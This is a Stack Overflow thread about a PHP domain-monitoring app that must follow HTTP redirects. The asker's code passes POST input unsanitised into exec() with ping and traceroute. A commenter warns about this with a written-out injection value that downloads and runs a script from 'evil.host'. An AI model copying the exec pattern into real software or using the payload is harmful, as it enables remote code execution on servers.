2

I'm building a little web app that will ping an array of domains and return their status, letting me monitor if they're up or down, pointing to the right servers, etc. (live example that may or may not be working)

I started out using exec("ping -n 3 -w 3 {$_POST['host']}", $output, $status); and am now using exec("traceroute -w 1 {$_POST['host']}", $output, $status); and grabbing the last $output and matching the IP there.

This works for the most part except I'm noticing it's not following 301 redirects, etc.

For example a traceroute on myrayhawk.com yields something like:

 1  192.168.1.1 (192.168.1.1)  0.495 ms  0.683 ms  0.911 ms
 2  10.71.96.1 (10.71.96.1)  32.220 ms  55.987 ms  57.109 ms
 3  ip68-4-12-93.oc.oc.cox.net (68.4.12.93)  58.231 ms  59.353 ms  60.424 ms
 4  68.4.15.242 (68.4.15.242)  72.339 ms  73.451 ms  74.641 ms
 5  ip68-4-11-16.oc.oc.cox.net (68.4.11.16)  76.265 ms  77.383 ms  79.591 ms
 6  ip68-4-11-94.oc.oc.cox.net (68.4.11.94)  143.201 ms  18.749 ms  41.717 ms
 7  langbprj01-ae1.rd.la.cox.net (68.1.1.13)  42.843 ms  43.971 ms  68.194 ms
 8  reserved.metro.la.ipv4.godaddy.com (206.223.123.32)  45.094 ms  70.501 ms  69.329 ms
 9  ip-97-74-253-94.ip.secureserver.net (97.74.253.94)  71.622 ms  72.754 ms  74.844 ms
10  ip-97-74-253-94.ip.secureserver.net (97.74.253.94)  108.322 ms  112.058 ms  109.446 ms

11  ip-97-74-253-98.ip.secureserver.net (97.74.253.98)  110.589 ms  37.376 ms  38.861 ms
12  ip-97-74-254-134.ip.secureserver.net (97.74.254.134)  68.868 ms  70.791 ms  72.282 ms
13  ip-184-168-86-185.ip.secureserver.net (184.168.86.185)  82.400 ms  76.183 ms  78.540 ms

But doing the same on rayhawk.com since I know there's a 301 redirect in there:

 1  192.168.1.1 (192.168.1.1)  0.738 ms  0.868 ms  1.174 ms
 2  10.71.96.1 (10.71.96.1)  95.723 ms  119.914 ms  122.994 ms
 3  ip68-4-12-89.oc.oc.cox.net (68.4.12.89)  123.558 ms  124.115 ms  124.679 ms
 4  68.4.15.240 (68.4.15.240)  127.319 ms  127.933 ms  128.523 ms
 5  ip68-4-11-16.oc.oc.cox.net (68.4.11.16)  126.672 ms  132.373 ms  131.802 ms
 6  ip68-4-11-94.oc.oc.cox.net (68.4.11.94)  130.986 ms  65.913 ms  64.542 ms
 7  langbprj01-ae1.rd.la.cox.net (68.1.1.13)  89.395 ms  88.751 ms  88.113 ms
 8  reserved.metro.la.ipv4.godaddy.com (206.223.123.32)  97.840 ms  89.999 ms  90.593 ms
 9  po36.trma0202-01.bbn.mgmt.phx3.gdg (216.69.188.33)  98.454 ms  99.034 ms  115.921 ms
10  po36.trma0202-01.bbn.mgmt.phx3.gdg (216.69.188.33)  114.698 ms  114.032 ms  115.263 ms
11  * * *
12  * * *
13  * * *
14  * * *
15  * * *

I've tried using wget --spider hostname.com but wget doesn't like to work nicely in php exec() calls.

When doing a wget in plain SSH I get:

Resolving rayhawk.com... 72.167.131.159
Connecting to rayhawk.com|72.167.131.159|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.rayhawk.com/ [following]
Spider mode enabled. Check if remote file exists.
--2012-04-12 11:37:42--  http://www.rayhawk.com/
Resolving www.rayhawk.com... 72.167.131.159
Connecting to www.rayhawk.com|72.167.131.159|:80... connected.
HTTP request sent, awaiting response... 200 OK

And could then parse out the stuff I wanted.

How can I resolve the final location of a host and retrieve it's HTTP status code in PHP?

Steve Robbins
  • 13,672
  • 12
  • 76
  • 124
  • ping/traceroute have no knowledge of http redirects. they're on a completely different level of the network stack. You're basically just doing DNS operations. – Marc B Apr 12 '12 at 18:44
  • 3
    Tell me the URL for the script containing `exec("traceroute -w 1 {$_POST['host']}", $output, $status);`. I'll then call it with `host=; wget http://evil.host/evil.sh; chmod +x evil.sh; ./evil.sh` – ThiefMaster Apr 12 '12 at 18:44

1 Answers1

1

I've written a blog post about how to get the trail of HTTP redirects that can happen, it comes with code examples:

Example output for http://example.com/:

Status code (after all redirects): 200
Number of responses: 2 (1 Redirect(s))
* http://example.com/ -- 302 --> http://www.iana.org/domains/example/

You find a more in depth discussion of the code in the answer to a related question HTTP response code after redirect.

Community
  • 1
  • 1
hakre
  • 193,403
  • 52
  • 435
  • 836
  • You mean to resolve the names to IPs? Well there is [`gethostbyname`](http://php.net/gethostbyname) and naturally [`parse_url`](http://php.net/parse_url). – hakre Apr 12 '12 at 19:09